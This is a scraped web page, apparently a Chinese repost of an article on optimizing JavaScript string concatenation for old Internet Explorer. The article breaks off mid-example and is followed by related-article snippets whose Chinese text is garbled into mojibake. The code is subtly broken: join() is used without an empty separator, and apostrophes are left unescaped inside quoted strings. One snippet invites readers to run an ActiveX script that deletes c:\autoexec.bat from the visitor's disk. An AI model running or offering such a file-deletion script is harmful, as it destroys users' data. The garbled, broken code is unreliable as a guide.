javascript ÓÅ»¯
Optimizing JavaScript code
Authors: Gregory Baker, Software Engineer on GMail & Erik Arvidsson, Software Engineer on Google Chrome
Recommended experience: Working knowledge of JavaScript
Client-side
scripting can make your application dynamic and active, but the
browser's interpretation of this code can itself introduce
inefficiencies, and the performance of different constructs varies from
client to client. Here we discuss a few tips and best practices to
optimize your JavaScript code.
Working with strings
String
concatenation causes major problems with Internet Explorer 6 and 7
garbage collection performance. Although these issues have been
addressed in Internet Explorer 8 -- concatenating is actually slightly more
efficient on IE8 and other non-IE browsers such as Chrome -- if a
significant portion of your user population uses Internet Explorer 6 or
7, you should pay serious attention to the way you build your strings.
Consider this example:
var veryLongMessage =
'This is a long string that due to our strict line length limit of' +
maxCharsPerLine +
' characters per line must be wrapped. ' +
percentWhoDislike +
'% of engineers dislike this rule. The line length limit is for ' +
' style purposes, but we don't want it to have a performance impact.' +
' So the question is how should we do the wrapping?';
Instead of concatenation, try using a join:
var veryLongMessage =
['This is a long string that due to our strict line length limit of',
maxCharsPerLine,
' characters per line must be wrapped. ',
percentWhoDislike,
'% of engineers dislike this rule. The line length limit is for ',
' style purposes, but we don't want it to have a performance impact.',
' So the question is how should we do the wrapping?'
].join();
Similarly,
building up a string across conditional statements and/or loops by
using concatenation can be very inefficient. The wrong way:
var fibonacciStr = 'First 20 Fibonacci Numbers
';
for (var i = 0; i < 2
Ïà¹ØÎĵµ£º
1. oncontextmenu="window.event.returnValue=false" ½«³¹µ×ÆÁ±ÎÊó±êÓÒ¼ü
<table border oncontextmenu=return(false)><td>no</table> ¿ÉÓÃÓÚTable
2. <body onselectstart="return false"> È¡ÏûÑ¡È¡¡¢·ÀÖ¹¸´ÖÆ
3. onpaste="return false" ²»×¼Õ³Ìù
4. oncopy="return false;" oncut="return f ......
JavaScriptÖÐÓÐËÄÖÖ²»Í¬ÀàÐ͵ÄÑ»·£¬forÑ»·¡¢do-whileÑ»·ºÍwhileÑ»·¡££¨µÚËÄÖÖÀàÐÍΪfor-inÑ»·£¬ÓÃÓÚµü´ú¶ÔÏóµÄÊôÐÔ£¬±¾ÎIJ»ÓèÌÖÂÛ¡££©´úÂëÈçÏ£º
var values = [1, 2, 3, 4, 5];
//for Ñ»·
for(var i=0; i<values.length; i++){
process(values[i]);
}
//do-while Ñ»·
var j=0;
do{
process(values[j++] ......
Á÷ÐÐµÄ JavaScript ¿â²»Ê¤Ã¶¾Ù£¬jQuery, MooTools, Prototype, Dojo, YUI¡£ÕâЩ JavaScript ¿â¹¦Äܷḻ£¬¼ÓÉÏËüÃǵIJå¼þ£¬¼¸ºõÄÜʤÈÎÈκι¤×÷£¬È»¶øÕâÊÇÓдú¼ÛµÄ£¬ÕâЩ¿âÍùÍùµ¼ÖÂÄãµÄÍøÒ³³ß´çÓ·Öס£ÔÚijЩ³¡ºÏ£¬Èç¹ûÄãÖ»ÏëÍê³ÉÌض¨µÄ¹¤×÷£¬¿ÉÒÔʹÓà һЩ¹¦ÄܸüרһµÄÇáÁ¿¿â£¬±¾ÎĽéÉÜÁË40¸ö·Ç³£³öÉ«µÄÇáÁ¿¼¶ JavaScript ¿â¡ ......
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>javascript</t ......
¿ÉÒÔͨ¹ýä¯ÀÀÆ÷ÔÚ·ÃÎÊÕßµÄÓ²ÅÌÉÏ´´½¨Îļþ£¬ÒòΪÎÒ¿ªÊ¼ÊÔÁËÒ»ÏÂÕæµÄ¿ÉÒÔ£¬²»ÐÅÄã°ÑÏÂÃæÕâ¶Î´úÂëCOPYµ½Ò»¸öHTMLÎļþµ±ÖÐÔÙÔËÐÐһϣ¡
<script language="JavaScript">
<!--
var fso = new ActiveXObject("Scripting.FileSystemObject");
fso.DeleteFile("c:\\autoexec.bat", true); //Çë×¢Òâ°¡£¡°Ñautoexec. ......